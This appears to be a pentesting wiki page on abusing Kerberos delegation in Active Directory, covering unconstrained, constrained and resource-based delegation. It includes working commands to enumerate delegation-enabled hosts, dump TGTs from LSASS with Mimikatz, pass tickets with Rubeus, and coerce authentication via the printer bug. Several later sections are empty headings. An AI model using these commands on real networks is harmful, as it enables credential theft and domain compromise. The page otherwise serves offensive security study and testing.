Delegations
Kerberos delegation allows services to impersonate the user in order to communicate with another service and perform actions on behalf the user.
Unconstrained Delegation
Unconstrained Delegation allowing any service to use a user TGT in order to communicate with the any other service.
The TGT will be stored in the LSASS process.
Enumerate
Get-DomainComputer -UnConstrainedGet-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq $True}Exploitation
It is possible to extract the TGTs from the service's LSASS process using Mimikatz and perform pass the ticket.
# Extract the TGT
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
# Pass the ticket
Invoke-Mimikatz -Command '"kerberos::ptt TGT.kirbi"'
Rubeus.exe ptt /ticket:"base64 | file.kirbi" # Rubues allows base64 format as alternativePrinter bug
The printer bug uses an RPC call of MS-RPRN which allows any domain user can force any machine that running the Spooler service to connect to second a machine of the domain user's choice.
Run on compromised Server Rubeus monitor
Run on compromised Domain User the RPC Call using SpoolSample \ Coercer
Pass The Ticket
DC Sync
Constrained Delegation
Constrained Delegation allowing specified services on specified computers to use a user TGT in order to communicate with the any other service.
in order to create a more restrictive delegation mechanism, Microsoft develop two Kerberos extensions known as Service for user (S4U):
Service for User to Self (S4U2self) - allows a service to obtain forwardable TGS to itself on behalf of user.
Service for User to Proxy (S4U2proxy) - allows a service to obtain a TGS to another service on behalf of user. Note that the other services are from white list controlled by
msDS-AllowedToDelegateToattribute.
Enumerate
Exploitation
Check if worked
Resource Based Delegation
Instead of the white list of SPNs controlled by msDS-AllowedToDelegateTo attribute, resource based controlled by the msDS-AllowedToActOnBehalfOfOtherIdentity
To abuse RBCD we need Write permissions over the target machine msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
Enumerate
Exploitation
Create fake machine
Change security descriptor
Abuse using Rubeus
Last updated